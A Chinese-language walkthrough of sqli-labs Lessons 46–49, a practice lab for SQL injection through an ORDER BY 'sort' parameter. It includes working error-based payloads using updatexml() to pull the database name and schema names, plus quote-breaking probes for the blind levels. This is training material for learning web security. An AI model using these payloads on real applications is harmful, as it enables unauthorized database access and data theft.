sqli-labs Less46-less49

知识补充:

   默认的是从小到大

   降序排列

 

  将一句话木马转码

 

 

 

Lesson 46  GET - Error based - Numeric - ORDER BY CLAUSE

(1)打开这一关可以看到,这次不再是id值,而变成了sort

(2)先测试

  ?sort=1

  SELECT * FROM users ORDER BY 1

   显示出来是这样子的,展现出user表中的所有信息,sort后的数字会写在order by后。这里的1没有进行包裹。

(3)我们再尝试一下23,看一下有什么区别

   2

   ?sort=2

  

  3

  ?sort=3

  我们可以观察到123的情况各不相同。通过比对(看23),我们可以看到数字是几,哪一列就是从小到大。是1id值是从小到大;是2username的开头字母就是从az

(4)通过以上分析我们可以知道可以通过控制sort后的数字来拿取信息,这代表有注入点。

(5)尝试用union select语句

  ?sort=3 union select 1,2,3

   出现报错,因为本身语句中就有order byunion select不能和其一起使用。我们需要换一种方法。

(6)报错注入

  ?sort=2 and updatexml(1,concat(0x7e,(database())),1) --+

   出现信息

   ?sort=2 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) --+

   取出信息

  接下来和之前一样,不再展示

  Lesson 46结束

Lesson 47  GET - Error based - String - ORDER BY CLAUSE

(1)先测试

  ?sort=1

  SELECT * FROM users ORDER BY '1'

   显示正常,这里的1被单引号进行了包裹。这也是与46关唯一不同的地方,其他均相同。

(2)接着测试

  ?sort=1' and '1'='1

  SELECT * FROM users ORDER BY '1' and '1'='1'

   显示正常

(3)进行报错注入

  ?sort=1' and updatexml( 1,concat(0x7e,(database())),1 ) --+

   显示出信息

  接下来与上一关相同,不再展示

  Lesson 47结束

Lesson 48  GET - Error based - Blind - Numeric - ORDER BY CLAUSE

(1)先测试

  ?sort=1

  SELECT * FROM users ORDER BY 1

   显示正常,1没有被包裹。

  乍一看与46关没有不同,我们再继续尝试一下

(2)加上单引号

  ?sort=1'

  这里看出不同,输入了错误的,按理说应该会回显错误信息,这里并没有进行回显,说明这一关使用的是盲注。

所有这一关不能使用报错注入了,只能使用基于时间的盲注,但是会特别麻烦。

  Lesson 48结束

Lesson 49  GET - Error based - String - Blind - ORDER BY CLAUSE

(1)先测试

  ?sort=1

  SELECT * FROM users ORDER BY '1'

   显示正常,1被单引号包裹,与47关一样。

(2)输入一个错误的,查看一下回显情况

  ?sort=1')

   并没有错误回显,说明是盲注

  Lesson 49结束

 

猜你喜欢

转载自www.cnblogs.com/zhaihuijie/p/12601448.html